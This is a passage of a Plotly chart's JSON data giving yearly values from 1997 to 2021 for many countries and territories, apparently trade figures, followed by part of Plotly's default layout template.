22.88, - 54.22, - 79.35, - 64.86, - 61.85, - 97.82, - 348.22, - 311.78, - 194.43, - 186.15, - 205.72, - 199.96, - 140.86, - 172.53, - 119.5, - 111.79, - 101.26 - ] - }, - { - "mode": "lines", - "name": "IRELAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 102.53, - 107.62, - 135.83, - 175.18, - 187.31, - 233.8, - 282.06, - 395.13, - 441.68, - 515.58, - 574.78, - 688.83, - 525.39, - 529.6, - 791.64, - 883.85, - 972.47, - 1292.67, - 1077.3, - 1011.11, - 1331.09, - 953.07, - 1137.84, - 977.68, - 1478.63 - ] - }, - { - "mode": "lines", - "name": "ETHIOPIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 68.27, - 65.05, - 58.2, - 70.4, - 109.22, - 72.52, - 87.97, - 65.76, - 83.26, - 127.36, - 211.94, - 258.74, - 272.26, - 306.4, - 493.42, - 787.38, - 845.32, - 827.39, - 854.61, - 840.57, - 731.33, - 821.04, - 896.86, - 716.96, - 590.61 - ] - }, - { - "mode": "lines", - "name": "IRAQ", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 196.61, - 187.47, - 249.1, - 90.92, - 206.83, - 214.91, - 75.3, - 132.31, - 157.99, - 5718.4, - 7109.9, - 8147.37, - 7504.06, - 9686.44, - 19682.44, - 20525.44, - 19438.89, - 15076.98, - 11841.98, - 12819.39, - 19078.04, - 24161.14, - 25618.34, - 15786.09, - 23360.91 - ] - }, - { - "mode": "lines", - "name": "IRAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 804.66, - 632.85, - 1241.51, - 438.2, - 536.85, - 913.03, - 1184.93, - 1641.6, - 1890.81, - 9065.03, - 12887.52, - 14910.78, - 13394.01, - 13421.12, - 16201.48, - 14945.53, - 15278.51, - 13130.08, - 9060.26, - 12886.12, - 13763.89, - 17036.65, - 4770.95, - 2106.17, - 1236.72 - ] - }, - { - "mode": "lines", - "name": "INDONESIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1168.9, - 1014.37, - 1279.27, - 1310, - 1570.52, - 2206.93, - 3249.26, - 3950.34, - 4388.31, - 6214.92, - 6985.42, - 9226.17, - 11720.03, - 15619.41, - 21443.92, - 20210.79, - 19598.5, - 19047.96, - 15951.42, - 16916.11, - 20402.57, - 21125.27, - 19191.2, - 17496.38, - 18854.32 - ] - }, - { - "mode": "lines", - "name": "FAROE IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.08, - 0, - 0.05, - 0, - 0.07, - 0, - 0, - 0.24, - 0.36, - 0.42, - 0.09, - 0.21, - 8.11, - 0.89, - 0, - 3.08, - 2.69, - 1.79, - 0.59, - 0.31, - 2.99, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "ICELAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.7, - 7.79, - 3.93, - 6.92, - 7.13, - 21.83, - 27.13, - 15.21, - 19.37, - 15.13, - 17.57, - 16.23, - 27.05, - 88.99, - 38.72, - 28.13, - 26.51, - 24.62, - 22.79, - 21.4, - 13.3, - 39.46, - 20.46, - 17.13, - 13.05 - ] - }, - { - "mode": "lines", - "name": "HUNGARY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 47.65, - 44.9, - 44.09, - 57.72, - 70.61, - 68.88, - 119.19, - 139.62, - 115.78, - 220.93, - 344.03, - 630.03, - 464.63, - 555.81, - 753.28, - 586.66, - 564.1, - 588.81, - 587.77, - 625.07, - 673.53, - 699.23, - 611.62, - 714.18, - 616.7 - ] - }, - { - "mode": "lines", - "name": "FIJI IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.47, - 9.61, - 16.18, - 0, - 14.11, - 25.46, - 22.12, - 28.89, - 29.91, - 62.83, - 48.65, - 91.07, - 28.02, - 31.46, - 39.3, - 42.38, - 50.74, - 51.55, - 44.52, - 53.12, - 54.73, - 61.51, - 56.27, - 48.24, - 41.08 - ] - }, - { - "mode": "lines", - "name": "EL SALVADOR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 2.38, - 3.23, - 0, - 3.75, - 4.9, - 7.64, - 10.72, - 14.06, - 20.07, - 17.97, - 22.62, - 18.73, - 29.46, - 45.79, - 64.71, - 73.1, - 71.76, - 74.72, - 66.21, - 78.46, - 82.86, - 82.55, - 87.95, - 121.91 - ] - }, - { - "mode": "lines", - "name": "GREENLAND", - "type": "scatter", - "x": [ - "97", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.41, - 0.28, - 0, - 0.16, - 0.06, - 0, - 0.05, - 0.06, - 0.08, - 0.53, - 0.14, - 0.29, - 0.52, - 1.73, - 1.2, - 8.91, - 0, - 0.02, - 0, - 0, - 1.11, - 0 - ] - }, - { - "mode": "lines", - "name": "ST VINCENT", - "type": "scatter", - "x": [ - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 1.65, - 2.21, - 2.04, - 2.55, - 74.65, - 2.69, - 36.84, - 7.84, - 1.4, - 0.37, - 0, - 0, - 0, - 0.76, - 0.55, - 0, - 0, - 0.75, - 0, - 12.8, - 0.67 - ] - }, - { - "mode": "lines", - "name": "ST HELENA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0.04, - 0, - 0, - 0.88, - 0.15, - 1.26, - 1.88, - 1.63, - 0.22, - 0.09, - 0.36, - 0.11, - 0.13, - 0.12, - 0.3, - 0, - 0.02, - 0.04, - 0.09, - 0.35, - 0.18 - ] - }, - { - "mode": "lines", - "name": "COOK IS", - "type": "scatter", - "x": [ - "97", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.03, - 0, - 0, - 0.1, - 0.03, - 0, - 0.13, - 0, - 0.12, - 0.15, - 0, - 0, - 0.32, - 0, - 0, - 0.19, - 0.29, - 0, - 0.1, - 0 - ] - }, - { - "mode": "lines", - "name": "WALLIS F IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2016", - "2017", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.25, - 0.1, - 0.65, - 0.06, - 0.18, - 0.16, - 0.08, - 0, - 0, - 0.1, - 1.05, - 0, - 0.06, - 0, - 0.02, - 0 - ] - }, - { - "mode": "lines", - "name": "UNION OF SERBIA & MONTENEGRO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2019" - ], - "y": [ - 9.08, - 9.29, - 6.3, - 9.93, - 7.68, - 5.82, - 20.47, - 13.5, - 10.3, - 13.81, - 17.62, - 27.33, - 18.5, - 26.64, - 43.96, - 84.15, - 35.79, - 22.03, - 4.28, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "PANAMA C Z", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2019" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 9.11, - 3.73, - 9.22, - 5.01, - 0, - 0.7, - 0.97, - 27.65, - 0, - 59.06, - 0, - 21.77, - 44.32, - 0, - 0.46, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "UNSPECIFIED", - "type": "scatter", - "x": [ - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 14799.17, - 16174.92, - 17989.43, - 20963.07, - 26352.73, - 24999.08, - 926.24, - 2144.97, - 5918.31, - 5055.49, - 18707.74, - 17476.02, - 7362.41, - 15641.57, - 11724.12, - 11192.5, - 9813.78, - 11624.3, - 2996.96, - 2670.47, - 789.78, - 771.36 - ] - }, - { - "mode": "lines", - "name": "SAHARWI A.DM RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2004", - "2005", - "2007", - "2008", - "2009", - "2010", - "2011", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "TOKELAU IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2016", - "2018", - "2019" - ], - "y": [ - 0.69, - 0, - 0, - 0.3, - 0.08, - 0.44, - 0, - 0.15, - 0.1, - 0.4, - 0.12, - 0.05, - 0.02, - 14.96, - 0.05, - 0.09, - 0.47, - 0, - 0.05, - 0.02, - 0.08 - ] - }, - { - "mode": "lines", - "name": "PITCAIRN IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2010", - "2011", - "2012", - "2013", - "2016", - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.05, - 0, - 0.02, - 0, - 0.07, - 0.04, - 0, - 0, - 0, - 0, - 0, - 0.05, - 0.23, - 0.05, - 0.04, - 0.13 - ] - }, - { - "mode": "lines", - "name": "MARSHALL ISLAND", - "type": "scatter", - "x": [ - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 11.01, - 0.05, - 179.18, - 33.95, - 0.16, - 0.25, - 0.07, - 1.56, - 10.34, - 0.97, - 8.46, - 0.14, - 102.32, - 8.86, - 14.11, - 0.83, - 36.13, - 2.28, - 2.04 - ] - }, - { - "mode": "lines", - "name": "ARUBA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.46, - 0, - 1.5, - 0, - 1.9, - 0, - 3.42, - 2.79, - 3.11, - 3.47, - 3.91, - 7.23, - 12.18, - 6.84, - 10.18, - 10.17, - 3.6, - 5.87 - ] - }, - { - "mode": "lines", - "name": "FALKLAND IS", - "type": "scatter", - "x": [ - "97", - "98", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2015", - "2018", - "2019", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.27, - 0.06, - 1.04, - 0.8, - 1.39, - 4.39, - 1.44, - 1.75, - 0, - 0.11, - 0 - ] - }, - { - "mode": "lines", - "name": "ANGUILLA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.17, - 0.26, - 0.15, - 0, - 0.12, - 0.02, - 0.04, - 0.69, - 0.35, - 0.14, - 0.23, - 0.11 - ] - }, - { - "mode": "lines", - "name": "ERITREA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10.97, - 9.43, - 9.17, - 6.99, - 111.74, - 23.33, - 29.5, - 25.25, - 35.14, - 29.89, - 21.3, - 244.73, - 173.9, - 39.63, - 9.39, - 9.03, - 0, - 9.46, - 7.21 - ] - }, - { - "mode": "lines", - "name": "NIUE IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2015", - "2019", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.4, - 0.05, - 0, - 0.07, - 0.01, - 0.01, - 0.05, - 0.03, - 0.04, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "PALAU", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0.18, - 0.24, - 0.03, - 0.05, - 0.23, - 0, - 0.03, - 0.08, - 3.71, - 0.04, - 0.85, - 3.3, - 0.06, - 0.21, - 0 - ] - }, - { - "mode": "lines", - "name": "COCOS IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2016", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.25, - 0, - 0, - 0, - 0, - 0.1, - 0.05, - 0.03, - 49.8, - 0.77, - 0, - 0.01, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "MONACO", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.35, - 1.68, - 0.47, - 1.01, - 1.45, - 0.68, - 1.4, - 2.45, - 3.27, - 3.98, - 2.48, - 2.58, - 2.58, - 2.65, - 3.01, - 2.82, - 63.47, - 1.93, - 2.96 - ] - }, - { - "mode": "lines", - "name": "CHRISTMAS IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2019" - ], - "y": [ - 1.13, - 1.48, - 0.37, - 0.22, - 0.06, - 0, - 0.43, - 0, - 0.15, - 15.78, - 3.07, - 0.81, - 8.1, - 1.23, - 0.02, - 0.11, - 0.07, - 0.09, - 0.02 - ] - }, - { - "mode": "lines", - "name": "MICRONESIA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.35, - 0, - 0.05, - 0.07, - 0.09, - 0, - 0, - 0, - 0.19, - 0.67, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "N. MARIANA IS.", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0.46, - 0.5, - 0.63, - 0.2, - 0, - 0, - 0.22, - 0, - 0.78, - 0.04, - 0.21, - 0.29, - 0.15, - 0.58, - 0.37 - ] - }, - { - "mode": "lines", - "name": "ST PIERRE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2012", - "2013", - "2014", - "2017", - "2018" - ], - "y": [ - 0.15, - 0.04, - 0.02, - 0, - 0, - 2.58, - 5.16, - 40.43, - 5.42, - 0.02, - 0, - 0.07, - 0, - 0.03, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "CANARY IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014" - ], - "y": [ - 0, - 0, - 0, - 0, - 1.82, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "CHANNEL IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2011", - "2012", - "2013", - "2014" - ], - "y": [ - 0, - 1.51, - 0.36, - 0.45, - 0.8, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "ANTARTICA", - "type": "scatter", - "x": [ - "2004", - "2005", - "2007", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.44, - 0.17, - 0.25, - 0.51, - 0, - 0.47, - 4.84, - 1.11, - 0.15, - 0.04, - 0.1, - 1.72, - 0.55 - ] - }, - { - "mode": "lines", - "name": "FR S ANT TR", - "type": "scatter", - "x": [ - "97", - "98", - "2000", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2015" - ], - "y": [ - 0.03, - 0, - 0, - 0, - 0, - 0.22, - 12.88, - 0.08, - 0, - 0.01, - 0, - 0.01, - 0, - 0.03, - 0.09 - ] - }, - { - "mode": "lines", - "name": "HEARD MACDONALD", - "type": "scatter", - "x": [ - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2012", - "2013", - "2014", - "2017", - "2018" - ], - "y": [ - 0, - 0, - 0.12, - 0, - 0.03, - 0, - 0, - 0.16, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "PACIFIC IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2003", - "2004", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 35.04, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "MONTENEGRO", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 30.58, - 43.47, - 26.24, - 36.42, - 51.62, - 39.06, - 20.12, - 20.37, - 15.82 - ] - }, - { - "mode": "lines", - "name": "SAN MARINO", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.64, - 0.37, - 0.78, - 0.61, - 0.78, - 0.36, - 0.4, - 0.34, - 0.2 - ] - }, - { - "mode": "lines", - "name": "SERBIA", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 34.78, - 66.09, - 65.68, - 77.3, - 83.14, - 93.78, - 95.18, - 98.08, - 73.77 - ] - }, - { - "mode": "lines", - "name": "US MINOR OUTLYING ISLANDS", - "type": "scatter", - "x": [ - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.53, - 0.53, - 1.64, - 1.27, - 0.77, - 0.8, - 1.26, - 0.36 - ] - }, - { - "mode": "lines", - "name": "VATICAN CITY", - "type": "scatter", - "x": [ - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.29, - 0.06, - 0.06, - 0, - 0.12, - 0.21, - 0.09, - 0 - ] - }, - { - "mode": "lines", - "name": "NEUTRAL ZONE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2005", - "2007", - "2008", - "2011" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "SOUTH SUDAN", - "type": "scatter", - "x": [ - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.42, - 74.1, - 100.5, - 27.37, - 24.49, - 20.85 - ] - }, - { - "mode": "lines", - "name": "MAYOTTE", - "type": "scatter", - "x": [ - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.08, - 2.98, - 3.49, - 5.97, - 3.2 - ] - }, - { - "mode": "lines", - "name": "STATE OF PALEST", - "type": "scatter", - "x": [ - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 2.68, - 1.83, - 2.15, - 1.96 - ] - }, - { - "mode": "lines", - "name": "SINT MAARTEN (DUTCH PART)", - "type": "scatter", - "x": [ - "2016", - "2017", - "2019", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "Petroleum Products", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000" - ], - "y": [ - 3697.83, - 0, - 2595.94, - 2712.11 - ] - }, - { - "mode": "lines", - "name": "GUERNSEY", - "type": "scatter", - "x": [ - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0.27, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "INSTALLATIONS IN INTERNATIONAL WATERS", - "type": "scatter", - "x": [ - "2015", - "2016", - "2017" - ], - "y": [ - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "CURACAO", - "type": "scatter", - "x": [ - "2015", - "2017" - ], - "y": [ - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "JERSEY", - "type": "scatter", - "x": [ - "2017", - "2019" - ], - "y": [ - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "SVALLBARD AND J", - "type": "scatter", - "x": [ - "2019" - ], - "y": [ - 0 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - 